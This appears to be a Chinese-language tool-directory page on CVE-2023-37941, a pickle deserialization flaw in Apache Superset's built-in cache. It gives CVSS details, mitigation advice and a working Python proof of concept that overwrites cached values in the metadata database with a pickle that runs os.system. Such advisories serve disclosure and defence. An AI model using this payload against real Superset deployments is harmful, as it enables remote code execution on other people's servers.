Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-37941 — 通过使用 pickle 利用 Superset 的默认缓存 | Kitploit
工具/GitHubGitHub/barroqueiro/cve-2023-37941
漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试Payload 开发
GitHubbarroqueiro/cve-2023-37941

CVE-2023-37941

通过使用 pickle 利用 Superset 的默认缓存

查看仓库
12133年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

利用Superset默认缓存中的Pickle RCE漏洞

信息

[ 作者 ] Dinis Cruz
[ 项目 ] Superset

描述

Apache Superset提供了多种缓存选项,所有这些选项都基于Flask-Caching。它提供了一个内置缓存,该缓存将值序列化以便后续检索。此序列化和检索使用Pickle完成,这允许反序列化Python对象,从而可以执行代码。

内置缓存将信息写入元数据数据库,这意味着能够访问该数据库的攻击者可以提升其权限,并获得对提供Superset服务的机器/容器的远程访问。

受影响的URL [或组件]

MetaStoreCache类,它使用PickleKeyValueCodec类来进行信息的序列化。

概念验证(PoC)

该问题通过首先创建一个干净的Superset安装(默认使用内置缓存)进行复现。

在已知需要访问数据库才能利用此问题的基础上,我们可以将所有缓存值更新为包含Pickle漏洞利用的值。稍后,当该值被返回给用户时,pickle模块将反序列化数据并执行我们的代码。以下是一个Python PoC示例。

import os
import psycopg2
import pickle5 as pickle

class RCE:
    def __reduce__(self):
        cmd = ('touch /tmp/evil.sh')
        return os.system, (cmd,)

def exploit():
    pickled = pickle.dumps(RCE())

    con = psycopg2.connect(
        database="superset",
        user="superset",
        password="superset",
        host="localhost",
        port= '5432'
    )

    cursor = con.cursor()

    cursor.execute('''UPDATE key_value SET value = %s''', (psycopg2.Binary(pickled),))
    con.commit()

if __name__ == '__main__':
    exploit()

该脚本会更新数据库中所有缓存的值,一旦数据被返回给用户,就会在/tmp目录下创建一个evil.sh文件以作演示。

受影响用户

所有用户都可能受到影响。

CWE

  • CWE-502(反序列化不受信任的数据)

CVSS评分

  • 攻击向量(AV)- 网络(N)
  • 攻击复杂度(AC)- 低(L)
  • 所需权限(PR)- 高(H)
  • 用户交互(UI)- 无(N)
  • 影响范围(S)- 已变更(C)
  • 保密性(C)- 高(H)
  • 完整性(I)- 高(H)
  • 可用性(A)- 高(H)

评分:9.1

建议修复(缓解措施)

尽管修复工作由Superset团队负责,但主要问题在于使用pickle进行数据序列化。根据我对提交#23888的理解,该提交将其他组件中的Pickle序列化移除,但由于需要“处理任意二进制类型”,这一组件得以保留。最干净的解决方案是切换到其他序列化机制,但也有人可以实现一个受限的反序列化器(unpickler),虽然这不是一个确定的解决方案,但可能实施时需要的工作量较少。

前提条件

需要访问Superset安装所使用的元数据数据库。

使用的工具和设置要求

无需特殊设置,只需一个Python解释器来生成载荷。将恶意载荷引入数据库的方式有多种。

下载工具